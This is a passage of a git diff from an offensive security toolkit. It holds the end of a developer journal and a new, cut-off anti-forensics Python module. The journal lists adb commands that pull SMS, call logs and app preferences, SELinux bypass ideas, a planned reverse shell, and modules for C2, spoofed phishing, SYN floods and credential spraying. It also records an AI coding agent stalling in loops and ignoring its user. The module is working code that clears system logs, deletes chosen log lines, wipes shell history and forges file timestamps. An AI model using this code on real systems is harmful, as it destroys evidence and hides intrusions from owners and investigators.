any are running) +settings get secure enabled_accessibility_services +dumpsys accessibility + +# Content provider queries (contacts, call log, SMS) +content query --uri content://call_log/calls --projection number:date:duration +content query --uri content://sms --projection address:body:date + +# SharedPreferences of debuggable apps +for pkg in $(pm list packages -3 | cut -d: -f2); do + run-as $pkg cat shared_prefs/*.xml 2>/dev/null && echo "=== $pkg ===" +done + +# Bootloader state (informational, can't extract keys) +getprop ro.boot.verifiedbootstate # green/yellow/orange/red +getprop ro.boot.flash.locked # 1=locked, 0=unlocked +getprop ro.oem_unlock_supported # OEM unlock availability +``` + +#### 8. SELinux Status and Manipulation + +``` +# Check current mode +getenforce # Enforcing or Permissive + +# List all SELinux domains +cat /sys/fs/selinux/policy | sesearch -A 2>/dev/null +# (sesearch not usually available, but we can pull the binary) + +# Check for permissive domains (weak spots) +# On some ROMs, certain domains are permissive even when global is enforcing +cat /proc/1/attr/current # init's SELinux context +cat /proc/self/attr/current # our own context (u:r:shell:s0) + +# SELinux audit log (shows what's being denied) +logcat -d -b events | grep avc +# These denials reveal what shell WOULD be able to do if SELinux were permissive + +# On some kernels (esp. older or custom): +# setenforce 0 # Set permissive (requires root on stock, but some kernels allow shell) + +# The most promising approach: find a domain transition +# If we can transition from shell context to a more permissive context, +# we gain capabilities without needing to disable SELinux globally +``` + +--- + +### New TODOs: On-Device AI Agent System + +#### TODO 1: On-Device LLM with Agent/Tools (SmolChat + Koog) + +**Goal:** Run a small LLM directly on the phone with tool-calling capabilities, +so the AI can autonomously execute security scans, manage trackers, and respond +to threats — completely offline, no cloud dependency. + +**Research completed on two LLM engines:** + +**SmolChat-Android** (https://github.com/shubham0204/SmolChat-Android) +- Apache 2.0, Kotlin + llama.cpp JNI +- Runs any GGUF model (huge ecosystem on HuggingFace) +- `smollm` module is an embeddable Android library — 2-class Kotlin API +- Auto-detects CPU SIMD (has ARMv8.4 SVE optimized builds) +- No tool-calling built in — we need to add that layer +- Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata +- **This is the inference engine to embed.** + +**mllm** (https://github.com/UbiquitousLearning/mllm) +- MIT license, C++20 custom engine +- Supports multimodal (vision + text — Qwen2-VL, DeepSeek-OCR) +- Qualcomm QNN NPU acceleration (if device has Snapdragon) +- Custom `.mllm` format (must convert from HuggingFace, NOT GGUF) +- Much harder to integrate, but has NPU acceleration and vision +- **Consider for future multimodal features (OCR scanning, photo analysis).** + +**Integration plan:** +1. Embed `smollm` module into Archon Companion +2. Bundle a small GGUF model (Qwen3-0.6B-Q4 or SmolLM3-3B-Q4) +3. Use Koog AI framework for the agent/tool layer (see TODO 3) +4. Define tools that map to our existing modules (ShieldModule, HoneypotModule) +5. LLM can autonomously: scan for threats, block trackers, respond to alerts +6. All processing stays on-device — zero network dependency + +#### TODO 2: Copilot SDK for AUTARCH Server Agent (Research Bot) + +**Goal:** Build a coding/research/chat agent for the AUTARCH server (Orange Pi) +that can use all 11 MCP tools, run security scans, and assist with analysis. + +**Research completed on GitHub Copilot SDK** (https://github.com/github/copilot-sdk) +- MIT license (SDK), proprietary (CLI binary ~61MB) +- Python/TypeScript/Go/.NET SDKs +- BYOK mode: can use Ollama (local) — no GitHub subscription needed +- Has linux-arm64 binary — runs on Orange Pi directly +- MCP integration — can connect to our existing `core/mcp_server.py` +- Tool definitions, permission hooks, skills system +- Agent loop with planning and multi-step execution + +**BUT:** The CLI binary is closed-source. We already have our own LLM backends +(local GGUF, transformers, claude, huggingface) and MCP server. The Copilot SDK +adds another orchestration layer on top of what we built. + +**Alternative:** Build our own agent loop in Python using `core/llm.py` + `core/tools.py`. +We already have the infrastructure. Just need a better ReAct/planner loop. + +**Decision:** Research further. The MCP integration is interesting but we may not +need the proprietary CLI binary. Our own agent system may be better. + +#### TODO 3: Koog AI Agent Framework (For Archon Companion) + +**Goal:** Use JetBrains' Koog framework to add a proper AI agent system to +the Archon Companion app — Kotlin-native, with tool-calling, memory, and +structured output. + +**Research completed on Koog** (https://docs.koog.ai/) +- Apache 2.0, by JetBrains, pure Kotlin +- Kotlin Multiplatform — **officially supports Android** +- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic, etc.) +- First-class tool-calling with class-based tools (works on Android) +- Agent memory, persistence, checkpoints, history compression +- Structured output via kotlinx.serialization +- GOAP planner (A* search for action planning — game AI technique!) +- MCP integration (discover/use external tools) +- Multi-agent: agents-as-tools, agent-to-agent protocol +- Current version: 0.6.2 + +**Why Koog is the answer for Archon:** +- Native Kotlin — fits perfectly into our existing codebase +- `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency +- Class-based tools work on Android (no JVM reflection needed) +- Can point to Ollama on AUTARCH server for inference, or use cloud +- GOAP planner is perfect for security workflows: + - Goal: "Protect device from tracking" + - Actions: scan packages → identify trackers → restrict background → revoke perms + - Planner finds optimal sequence automatically +- Memory system persists security scan results across sessions +- Structured output for scan reports, threat assessments + +**Integration plan:** +1. Add Koog dependency to Archon Companion +2. Define security tools: ScanPackagesTool, RestrictTrackerTool, etc. +3. Wrap PrivilegeManager.execute() as the execution backend +4. Create "Security Guardian" agent with GOAP planner +5. Connect to AUTARCH server's Ollama for inference +6. Or embed SmolChat for fully offline operation +7. Agent can autonomously monitor and respond to threats + +**Koog + SmolChat combo:** +- SmolChat provides the on-device inference engine (GGUF/llama.cpp) +- Koog provides the agent framework (tools, planning, memory, structured output) +- Together: fully autonomous, fully offline security AI agent on the phone + +--- + +### SESSION SAVE — 2026-02-15 (end of session) + +**What got done this session:** +- Phase 4.11 COMPLETE: Replaced Shizuku with self-contained ArchonServer + - ArchonServer.java, ArchonClient.kt, module system, ShieldModule, HoneypotModule + - BBS tab → Modules tab, Setup tab updated, all Shizuku refs removed + - LocalAdbClient.kt fixed (DER/ASN.1 cert generation, libadb-android API fixes) + - BUILD SUCCESSFUL +- Research completed: SmolChat, mllm, Koog AI, Copilot SDK, PhoneSploit-Pro, LinuxDroid +- Exploitation research written above (CVE-2024-0044, anti-Cellebrite, anti-Pegasus, etc.) + +**What user wanted next (plan approved, code NOT started):** +1. Create `research.md` — consolidate ALL research findings +2. Reverse shell module (ArchonShell.java + ReverseShellModule.kt + AUTARCH listener) +3. `arish` — interactive shell like Shizuku's `rish` +4. Samsung S20/S21 section: + - JTAG pinpoints and schematics + - Bootloader weakness analysis + - Secureboot partition dumping techniques + - Donor key technique for NFC (user's own key, for GrapheneOS) + - Hardening guides for S20/S21 specifically + - Tool section for those phones +5. LLM suite addon (SmolChat + Koog, future phase) + +**Plan file:** `/home/snake/.claude/plans/stateful-conjuring-moler.md` + +**WHERE CLAUDE STOPPED CODING:** +- Was implementing Phase 4.11 (Shizuku replacement) — that part FINISHED and builds +- Then user asked for reverse shell module + research + Samsung guides +- Claude entered plan mode, wrote the plan, then GOT STUCK +- Kept looping on ExitPlanMode instead of coding +- Never started writing ANY code for Phase 5 +- Never created research.md +- Never wrote ArchonShell.java, ReverseShellModule.kt, core/revshell.py, or any Phase 5 files +- The ONLY output was the plan file and the exploitation research notes above in devjournal +- All Phase 5 code is AT ZERO — nothing exists yet, start from scratch using the plan + +**NOTE:** Claude malfunctioned — got stuck in plan mode loops, failed to respond +to multiple messages for extended periods (45+ min of nothing). User had to +repeatedly prompt. Claude also failed to acknowledge/respond to ~5 user messages +that came in while it was "processing". Do NOT repeat this behavior. + +--- + +## Session 14 — 2026-02-28: MSF Web Runner, Agent Hal, Debug Console, LLM Settings Sub-Page + +### Phase 4.12 — MSF Web Module Execution + Agent Hal + Global AI Chat + +Wired Metasploit, the autonomous agent, and LLM chat into the web UI with live SSE streaming. + +- **core/agent.py** — added `step_callback` param to `Agent.run()` for incremental SSE step streaming +- **web/routes/offense.py** — `POST /offense/module/run` streams MSF module output via SSE; `POST /offense/module/stop` +- **web/templates/offense.html** — Run Module tabs (SSH version/brute, TCP/SYN port scan, SMB OS detect, Custom) with live output + Stop; Agent Hal panel with SSE step stream +- **web/routes/msf.py** (NEW) — MSF RPC console at `/msf/` (connect, status, console/send) +- **web/templates/msf.html** (NEW) — dark terminal MSF console (status bar, terminal div, quick commands) +- **web/routes/chat.py** (NEW) — `/api/chat` SSE token stream, `/api/agent/run|stream|stop` background agent +- **web/templates/base.html** — global HAL chat panel (fixed bottom-right, 360×480), MSF Console sidebar link +- **web/static/js/app.js** — `halToggle/Send/Append/Scroll/Clear()`, full debug console JS +- **web/app.py** — registered msf_bp + chat_bp +- **web/static/css/style.css** — HAL panel + debug panel CSS + stream utility classes (.err/.success/.info/.warn/.dim) + +### Phase 4.13 — Debug Console + +Floating debug popup capturing all Python logging output, available on every page. + +- `_DebugBufferHandler` captures root logger records into `collections.deque(maxlen=2000)` +- 4 server routes: toggle (enable/disable), stream (SSE), clear, test +- 5 client filter modes: Warnings & Errors | Full Verbose | Full Debug + Symbols | Output Only | Show Everything +- Draggable panel, level-colored output, pulsing live dot, localStorage persistence + +### Phase 4.14 — WebUSB "Already In Use" Fix + +- `adbDisconnect()` now releases USB interface (`await usbDev.close()`) +- `adbConnect()` detects Windows "already in use" errors, auto-retries once, shows "run adb kill-server" message + +### Phase 4.15 — LLM Settings Sub-Page + +Moved all LLM config to a dedicated sub-page at `/settings/llm`. + +- 4 tabs: **Local** (llama.cpp GGUF + SafeTensors/Transformers), **Claude**, **OpenAI**, **HuggingFace** +- Local tab: folder browser → scan for model files → full parameter set (llama.cpp OR transformers depending on SafeTensors checkbox) +- HuggingFace tab: token login + verify, model ID, 8 provider options, custom endpoint, full generation params +- Added OpenAI backend support (`get_openai_settings()` in config.py) +- `POST /settings/llm/scan-models` → scans folder for .gguf/.ggml/.bin files and safetensors model directories + +### Todos Added + +- **System Tray** (pystray + PIL): icon in system tray with Server Menu (server options, default folder locations for tools/models, MSF RPC options — create/connect to msfrpcd) +- **Beta Release**: create `release/` folder, build EXE (PyInstaller) and MSI installer + +--- + +## Session 15 — 2026-03-01: Hash Toolkit, Bugfixes + +### Phase 4.16 — Hash Toolkit Sub-Page + +Full Hash Toolkit added as a sub-page under Analyze (sidebar sub-item like Legendary Creator under Simulate). + +- **43 hash pattern regexes** — pure Python hashid-style identification (no external deps) +- **6 tabs:** Identify (algorithm detection + threat intel links), File Hash (5 digests), Text Hash (all algorithms), Mutate (change file hash by appending bytes), Generate (create dummy files for testing), Reference (hash type table with hashcat modes) +- **Threat intel integration:** one-click lookups to VirusTotal, Hybrid Analysis, MalwareBazaar, AlienVault OTX, Shodan +- Routes added to existing `analyze_bp` — no new blueprint needed + +### Bugfixes + +- **`modules/analyze.py`** — wrapped `import magic` in try/except to prevent module load failure when python-magic not installed +- **Debug console** — `_initDebug()` now re-enables backend capture on page load (POST to `/settings/debug/toggle`) to survive server restarts +- **Android Protection Direct mode** — `apDirect()` was passing `HWDirect.adbShell()` result objects (dicts) into `raw` instead of extracting `.stdout` strings; Python `/parse` route then crashed calling `.strip()` on dicts. Fixed by extracting stdout before sending to server +- **`_serial()` hardened** — now checks `request.form` fallback and wraps in `str()` before `.strip()` + +--- + +## Session 16 — 2026-03-01: Threat Monitor, Hal Agent, Windows Defense, LLM Trainer + +### What got done this session: +- **7-tab Threat Monitor** — expanded from 4 tabs to 7 with Network Intel, Packet Capture, DDoS Mitigation +- **Drill-down popups** — click any stat in Live Monitor for detailed modal views +- **Hal Agent Mode** — Chat bubble now uses Agent system with `create_module` tool; can create modules on demand +- **System prompt** — `data/hal_system_prompt.txt` teaches Hal the codebase +- **Windows Defense** — `modules/defender_windows.py` + `defense_windows.html` (firewall, UAC, Defender AV, services, SSH, NTFS, event logs) +- **LLM Trainer** — `modules/llm_trainer.py` + `web/routes/llm_trainer.py` + `llm_trainer.html` (dataset management, training, adapters) +- **Refresh Modules** — sidebar button for hot-reloading modules without server restart + +### Todos from session 14 resolved: +- System Tray → deferred to session 17 +- Beta Release → deferred to session 17 + +--- + +## Session 17 — 2026-03-02: System Tray, Packaging, v1.5 Release + +### What got done this session: +- **System tray** — `core/tray.py` with `TrayManager` (pystray + PIL): Start/Stop/Restart/Open Dashboard/Exit +- **Dual executables** — `autarch.exe` (CLI, console) + `autarch_web.exe` (Web, no console, tray icon) +- **PyInstaller frozen build fixes** — dual-directory pattern in `core/paths.py` (_BUNDLE_DIR vs _APP_DIR), module loading scans both bundled and user dirs +- **Installer scripts** — `installer.iss` (Inno Setup) + `installer.nsi` (NSIS) +- **Inno Setup OOM fix** — 3.9GB model stored uncompressed, `SolidCompression=no` +- **Inline critical CSS** — prevents white flash / FOUC on page load +- **All 27+ pages tested** — verified inline CSS, external stylesheet, layout structure +- **Version bumped to 1.5** +- **GitHub Release v1.5** — https://github.com/DigijEth/autarch/releases/tag/v1.5 + - `AUTARCH_Setup.exe` (34 MB) — installer without model + - `AUTARCH_v1.5_Portable.zip` (39 MB) — portable without model + +### SESSION SAVE — 2026-03-02 (end of session) + +**Phase status:** +- Phases 0–4.24: DONE +- Phase 5 (Path portability): DONE (frozen build support complete) +- Phase 6 (Docker): NOT STARTED + +**Key files created/modified this session:** +- `core/tray.py` (NEW) — TrayManager +- `autarch_web.py` (NEW) — Windowless web launcher +- `installer.iss` (NEW) — Inno Setup installer script +- `installer.nsi` (NEW) — NSIS installer script +- `core/paths.py` — Frozen build dual-directory pattern +- `core/menu.py` — Dual module directory scanning +- `web/app.py` — Frozen template/static path resolution +- `autarch.py` — --no-tray flag +- `autarch_public.spec` — Dual-exe MERGE/COLLECT +- `setup_msi.py` — Dual executables, v1.5 +- `web/templates/base.html` — Inline critical CSS + +**Todos from session 14 RESOLVED:** +- System Tray: DONE (core/tray.py) +- Beta Release: DONE (v1.5 on GitHub) + +**Remaining work from master_plan.md:** +- Phase 6 (Docker): NOT STARTED +- Plan file (quizzical-toasting-mccarthy.md) — Threat Monitor + Hal Module Factory: DONE + +--- + +## Session 18 - 2026-03-02: Chat Fix, Tray Icon, v1.5.1 Release + +### Fixes +- **Hal Chat broken** — All messages went through Agent system, models can't follow structured format → `Error: '"info"'`. Fixed by adding Chat/Agent mode toggle: Chat mode streams tokens directly via `llm.chat(stream=True)`, Agent mode uses tool-using Agent system. +- **Agent infinite retry** — Models that can't produce `THOUGHT/ACTION/PARAMS` looped 20 times. Fixed: after 2 consecutive parse failures, return the raw response as a direct answer. +- **LLM missing in exe** — `llama_cpp` was in PyInstaller excludes. Removed from `autarch_public.spec` and `setup_msi.py`. +- **No exe icon** — Created `autarch.ico` from `icon.svg`, wired into PyInstaller spec, Inno Setup installer, and `core/tray.py`. + +### New Features +- Chat/Agent toggle switch in Hal panel header (CSS slider, defaults to Chat mode) +- `autarch.ico` multi-resolution icon (16-256px) for exe, tray, installer shortcuts +- `icon.svg` source artwork (anarchy-A cyberpunk neon) + +### Release +- **v1.5.1** pushed to GitHub: https://github.com/DigijEth/autarch/releases/tag/v1.5.1 +- Assets: `AUTARCH_Setup.exe`, `AUTARCH_v1.5.1_Portable.zip` (51 MB) + +### Key files modified +- `web/routes/chat.py` — Dual-mode: `_handle_direct_chat()` + `_handle_agent_chat()` +- `core/agent.py` — `parse_failures` counter, graceful fallback after 2 failures +- `core/tray.py` — `_get_icon_path()`, loads `.ico` with fallback +- `autarch_public.spec` — Icon paths, removed llama_cpp from excludes +- `web/templates/base.html` — Hal mode toggle switch +- `web/static/js/app.js` — `halAgentMode`, `halModeChanged()`, mode in POST body +- `web/static/css/style.css` — Toggle switch styles +- `installer.iss` — Icon paths, v1.5.1 +- `autarch.ico`, `icon.svg` (NEW) + +**Phase status:** Phases 0–4.28 DONE, Phase 6 (Docker) NOT STARTED + +--- + +## Session 19 - 2026-03-03: Arsenal Expansion — Phase 5 (11 New Modules) + +Massive toolkit expansion across two back-to-back sessions. Added 11 new modules covering DNS, OSINT, phishing, load testing, exploitation, analysis, and C2 infrastructure. + +### New Modules — Phase 1 (Infrastructure) + +- **Go DNS/Nameserver Service** (`services/dns-server/`, `core/dns_service.py`) — Standalone Go binary with UDP/TCP DNS server, full zone management, record CRUD (A/AAAA/MX/TXT/CNAME/NS/SRV/PTR), DNSSEC signing, upstream recursive resolution. Python singleton wraps via HTTP REST API. Web UI: zone editor, record manager, DNSSEC toggle, metrics. +- **IP Capture Redirect** (`modules/ipcapture.py`) — Stealthy link tracking for OSINT. Fast 302 redirects with realistic disguised URLs. Captures IP, User-Agent, Accept-Language, Referer, timezone. GeoIP lookup. Dossier integration. Unauthenticated capture endpoints for stealth. +- **Gone Fishing Mail Service** (`modules/phishmail.py`) — SMTP phishing platform for authorized pentests. HTML template editor, attachment support, sender spoofing, DKIM signing, self-signed TLS certs, campaign tracking. Auto-creates MX/SPF/DKIM/DMARC via DNS service. +- **SYN Flood / Load Testing** (`modules/loadtest.py`) — Network stress testing with SYN/HTTP/UDP/Slowloris modes. Configurable threads, duration, packet size. Real-time stats via SSE. + +### New Modules — Phase 2 (Toolkit) + +- **Hack Hijack** (`modules/hack_hijack.py`, ~580 lines) — Scans for already-compromised systems. 25+ backdoor signatures: EternalBlue/DoublePulsar (SMB Trans2 probe), RATs (Meterpreter, Cobalt Strike, njRAT, DarkComet, Quasar, AsyncRAT, Gh0st, Poison Ivy), web shells (20+ paths), proxies, miners. Interactive shell sessions. +- **Password Toolkit** (`modules/password_toolkit.py`, ~480 lines) — 22 hash type signatures with auto-identification. Hashcat/John integration with Python fallback. Pattern-based password generator (`?u`/`?l`/`?d`/`?s`/`?a`). Entropy auditing. Credential spray (SSH/FTP/SMB). +- **Web App Scanner** (`modules/webapp_scanner.py`, ~500 lines) — Directory bruteforce, subdomain enum (crt.sh + DNS brute), tech fingerprinting (17 signatures), security header analysis (10 checks), SSL/TLS audit, SQLi/XSS detection, site crawler. +- **Reporting Engine** (`modules/report_engine.py`, ~380 lines) — Structured pentest report builder. 10 finding templates with CVSS scores (OWASP-aligned). Export: HTML (styled), Markdown, JSON. Severity summary dashboard. +- **Network Topology Mapper** (`modules/net_mapper.py`, ~400 lines) — Host discovery (nmap/ping sweep, 100 threads), service enumeration, OS fingerprinting. SVG topology visualization. Scan persistence with diff comparison. +- **C2 Framework** (`modules/c2_framework.py`, ~500 lines) — Multi-listener TCP C2 server. Python/Bash/PowerShell agent templates with beacon interval + jitter. Task queue: exec, download, upload, sysinfo. Agent dashboard with auto-refresh, interactive shell, payload generator. + +### Wiring + +- All 11 modules got the full triple: `modules/X.py` + `web/routes/X.py` + `web/templates/X.html` +- All blueprints registered in `web/app.py` (now 30 blueprints total) +- Sidebar links added to `base.html` under appropriate categories +- Build configs updated: `autarch_public.spec` + `setup_msi.py` (12 new hidden imports each) +- Config section `[dns]` added to `autarch_settings.conf` + +### Key files modified +- `web/app.py` — 30 blueprint imports + registrations +- `web/templates/base.html` — Sidebar: 12 new sub-items across Defense/Offense/Analyze/OSINT/System +- `autarch_public.spec` — 12 new hidden imports +- `setup_msi.py` — 12 new includes +- `autarch_settings.conf` — `[dns]` section + +### New file count +- 11 module files (`modules/`) +- 11 route files (`web/routes/`) +- 11 template files (`web/templates/`) +- 1 core service (`core/dns_service.py`) +- ~10 Go source files (`services/dns-server/`) +- **Total: ~44 new files, ~5,000+ lines of new code** + +### Module count +- **Before:** ~26 modules, 16 blueprints, 16 templates +- **After:** ~37 modules, 30 blueprints, 27 templates + +### Remaining Phase 2 modules (from plan) +- WiFi Auditing, Threat Intel Feed, Steganography, API Fuzzer, BLE Scanner, Forensics Toolkit +- Lower priority: RFID/NFC, Cloud Security, Malware Sandbox, Log Correlator, Anti-Forensics + +**Phase status:** Phases 0–5.10 DONE, Phase 6 (Docker) NOT STARTED + diff --git a/modules/anti_forensics.py b/modules/anti_forensics.py new file mode 100644 index 0000000..e2aee4b --- /dev/null +++ b/modules/anti_forensics.py @@ -0,0 +1,580 @@ +"""AUTARCH Anti-Forensics + +Secure file deletion, timestamp manipulation, log clearing, metadata scrubbing, +and counter-forensics techniques for operational security. +""" + +DESCRIPTION = "Anti-forensics & counter-investigation tools" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "counter" + +import os +import re +import json +import time +import struct +import shutil +import secrets +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + from PIL import Image as PILImage + HAS_PIL = True +except ImportError: + HAS_PIL = False + + +# ── Secure Deletion ───────────────────────────────────────────────────────── + +class SecureDelete: + """Secure file/directory deletion with overwrite patterns.""" + + PATTERNS = { + 'zeros': b'\x00', + 'ones': b'\xFF', + 'random': None, # Generated per-pass + 'dod_3pass': [b'\x00', None, b'\xFF'], # DoD 5220.22-M simplified + 'gutmann': None, # 35 passes with specific patterns + } + + @staticmethod + def secure_delete_file(filepath: str, passes: int = 3, + method: str = 'random') -> Dict: + """Securely delete a file by overwriting before unlinking.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + file_size = os.path.getsize(filepath) + + if method == 'dod_3pass': + patterns = [b'\x00', None, b'\xFF'] + else: + patterns = [None] * passes # All random + + # Overwrite passes + for i, pattern in enumerate(patterns): + with open(filepath, 'r+b') as f: + remaining = file_size + while remaining > 0: + chunk_size = min(4096, remaining) + if pattern is None: + chunk = secrets.token_bytes(chunk_size) + else: + chunk = pattern * chunk_size + f.write(chunk[:chunk_size]) + remaining -= chunk_size + f.flush() + os.fsync(f.fileno()) + + # Truncate to zero + with open(filepath, 'w') as f: + pass + + # Rename to random name before deletion (anti-filename recovery) + directory = os.path.dirname(filepath) + random_name = os.path.join(directory, secrets.token_hex(16)) + os.rename(filepath, random_name) + os.unlink(random_name) + + return { + 'ok': True, + 'file': filepath, + 'size': file_size, + 'passes': len(patterns), + 'method': method, + 'message': f'Securely deleted {filepath} ({file_size} bytes, {len(patterns)} passes)' + } + + except PermissionError: + return {'ok': False, 'error': 'Permission denied'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def secure_delete_directory(dirpath: str, passes: int = 3) -> Dict: + """Recursively securely delete all files in a directory.""" + if not os.path.isdir(dirpath): + return {'ok': False, 'error': 'Directory not found'} + + deleted = 0 + errors = 0 + + for root, dirs, files in os.walk(dirpath, topdown=False): + for name in files: + filepath = os.path.join(root, name) + result = SecureDelete.secure_delete_file(filepath, passes) + if result['ok']: + deleted += 1 + else: + errors += 1 + + for name in dirs: + try: + os.rmdir(os.path.join(root, name)) + except OSError: + errors += 1 + + try: + os.rmdir(dirpath) + except OSError: + errors += 1 + + return { + 'ok': True, + 'directory': dirpath, + 'files_deleted': deleted, + 'errors': errors + } + + @staticmethod + def wipe_free_space(mount_point: str, passes: int = 1) -> Dict: + """Fill free space with random data then delete (anti-carving).""" + try: + temp_file = os.path.join(mount_point, f'.wipe_{secrets.token_hex(8)}') + chunk_size = 1024 * 1024 # 1MB + written = 0 + + with open(temp_file, 'wb') as f: + try: + while True: + f.write(secrets.token_bytes(chunk_size)) + written += chunk_size + f.flush() + except (OSError, IOError): + pass # Disk full — expected + + os.unlink(temp_file) + + return { + 'ok': True, + 'mount_point': mount_point, + 'wiped_bytes': written, + 'wiped_mb': round(written / (1024*1024), 1) + } + + except Exception as e: + # Clean up temp file + if os.path.exists(temp_file): + os.unlink(temp_file) + return {'ok': False, 'error': str(e)} + + +# ── Timestamp Manipulation ─────────────────────────────────────────────────── + +class TimestampManip: + """File timestamp modification for counter-forensics.""" + + @staticmethod + def get_timestamps(filepath: str) -> Dict: + """Get file timestamps.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + stat = os.stat(filepath) + return { + 'ok': True, + 'file': filepath, + 'accessed': datetime.fromtimestamp(stat.st_atime, timezone.utc).isoformat(), + 'modified': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(), + 'created': datetime.fromtimestamp(stat.st_ctime, timezone.utc).isoformat(), + 'atime': stat.st_atime, + 'mtime': stat.st_mtime, + 'ctime': stat.st_ctime + } + + @staticmethod + def set_timestamps(filepath: str, accessed: float = None, + modified: float = None) -> Dict: + """Set file access and modification timestamps.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + stat = os.stat(filepath) + atime = accessed if accessed is not None else stat.st_atime + mtime = modified if modified is not None else stat.st_mtime + os.utime(filepath, (atime, mtime)) + + return { + 'ok': True, + 'file': filepath, + 'accessed': datetime.fromtimestamp(atime, timezone.utc).isoformat(), + 'modified': datetime.fromtimestamp(mtime, timezone.utc).isoformat() + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def clone_timestamps(source: str, target: str) -> Dict: + """Copy timestamps from one file to another.""" + if not os.path.exists(source): + return {'ok': False, 'error': 'Source file not found'} + if not os.path.exists(target): + return {'ok': False, 'error': 'Target file not found'} + + try: + stat = os.stat(source) + os.utime(target, (stat.st_atime, stat.st_mtime)) + return { + 'ok': True, + 'source': source, + 'target': target, + 'message': 'Timestamps cloned' + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def randomize_timestamps(filepath: str, start_epoch: float = None, + end_epoch: float = None) -> Dict: + """Set random timestamps within a range.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + if start_epoch is None: + start_epoch = time.time() - 365 * 24 * 3600 # 1 year ago + if end_epoch is None: + end_epoch = time.time() + + import random + atime = random.uniform(start_epoch, end_epoch) + mtime = random.uniform(start_epoch, end_epoch) + + return TimestampManip.set_timestamps(filepath, atime, mtime) + + +# ── Log Clearing ───────────────────────────────────────────────────────────── + +class LogCleaner: + """System log manipulation and clearing.""" + + COMMON_LOG_PATHS = [ + '/var/log/auth.log', '/var/log/syslog', '/var/log/messages', + '/var/log/kern.log', '/var/log/daemon.log', '/var/log/secure', + '/var/log/wtmp', '/var/log/btmp', '/var/log/lastlog', + '/var/log/faillog', '/var/log/apache2/access.log', + '/var/log/apache2/error.log', '/var/log/nginx/access.log', + '/var/log/nginx/error.log', '/var/log/mysql/error.log', + ] + + @staticmethod + def list_logs() -> List[Dict]: + """List available log files.""" + logs = [] + for path in LogCleaner.COMMON_LOG_PATHS: + if os.path.exists(path): + try: + stat = os.stat(path) + logs.append({ + 'path': path, + 'size': stat.st_size, + 'modified': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(), + 'writable': os.access(path, os.W_OK) + }) + except OSError: + pass + return logs + + @staticmethod + def clear_log(filepath: str) -> Dict: + """Clear a log file (truncate to zero).""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + try: + original_size = os.path.getsize(filepath) + with open(filepath, 'w') as f: + pass + return { + 'ok': True, + 'file': filepath, + 'cleared_bytes': original_size + } + except PermissionError: + return {'ok': False, 'error': 'Permission denied (need root?)'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def remove_entries(filepath: str, pattern: str) -> Dict: + """Remove specific entries matching a pattern from log file.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + with open(filepath, 'r', errors='ignore') as f: + lines = f.readlines() + + original_count = len(lines) + filtered = [l for l in lines if not re.search(pattern, l, re.I)] + removed = original_count - len(filtered) + + with open(filepath, 'w') as f: + f.writelines(filtered) + + return { + 'ok': True, + 'file': filepath, + 'original_lines': original_count, + 'removed': removed, + 'remaining': len(filtered) + } + except PermissionError: + return {'ok': False, 'error': 'Permission denied'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def clear_bash_history() -> Dict: + """Clear bash history.""" + results = [] + history_files = [ + os.path.expanduser('~/.bash_history'), + os.path.expanduser('~/.zsh_history'), + os.path.expanduser('~/.python_history'), + ] + for hf in history_files: + if os.path.exists(hf): + try: + size = os.path.getsize(hf) + with open(hf, 'w') as f: + pass + results.append({'file': hf, 'cleared': size}) + except Exception: + pass + + # Also clear in-memory history + try: + subprocess.run(['history', '-c'], shell=True, capture_output=True) + except Exception: + pass + + return {'ok': True, 'cleared': results} + + +# ── Metadata Scrubbing ─────────────────────────────────────────────────────── + +class MetadataScrubber: + """Remove identifying metadata from files.""" + + @staticmethod + def scrub_image(filepath: str, output: str = None) -> Dict: + """Remove EXIF data from image.""" + if not HAS_PIL: + return {'ok': False, 'error': 'Pillow not installed'} + + try: + img = PILImage.open(filepath) + # Create clean copy without EXIF + clean = PILImage.new(img.mode, img.size) + clean.putdata(list(img.getdata())) + + out_path = output or filepath + clean.save(out_path) + + return { + 'ok': True, + 'file': out_path, + 'message': 'EXIF data removed' + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + @staticmethod + def scrub_pdf_metadata(filepath: str) -> Dict: + """Remove metadata from PDF (basic — rewrites info dict).""" + try: + with open(filepath, 'rb') as f: + data = f.read() + + # Remove common metadata keys + for key in [b'/Author', b'/Creator', b'/Producer', + b'/Title', b'/Subject', b'/Keywords']: + # Simple regex replacement of metadata values + pattern = key + rb'\s*\([^)]*\)' + data = re.sub(pattern, key + b' ()', data) + + with open(filepath, 'wb') as f: + f.write(data) + + return {'ok': True, 'file': filepath, 'message': 'PDF metadata scrubbed'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Anti-Forensics Manager ────────────────────────────────────────────────── + +class AntiForensicsManager: + """Unified interface for anti-forensics operations.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'anti_forensics') + os.makedirs(self.data_dir, exist_ok=True) + self.delete = SecureDelete() + self.timestamps = TimestampManip() + self.logs = LogCleaner() + self.scrubber = MetadataScrubber() + self.audit_log: List[Dict] = [] + + def _log_action(self, action: str, target: str, details: str = ''): + """Internal audit log (ironic for anti-forensics).""" + self.audit_log.append({ + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'action': action, + 'target': target, + 'details': details + }) + + def get_capabilities(self) -> Dict: + """Check available capabilities.""" + return { + 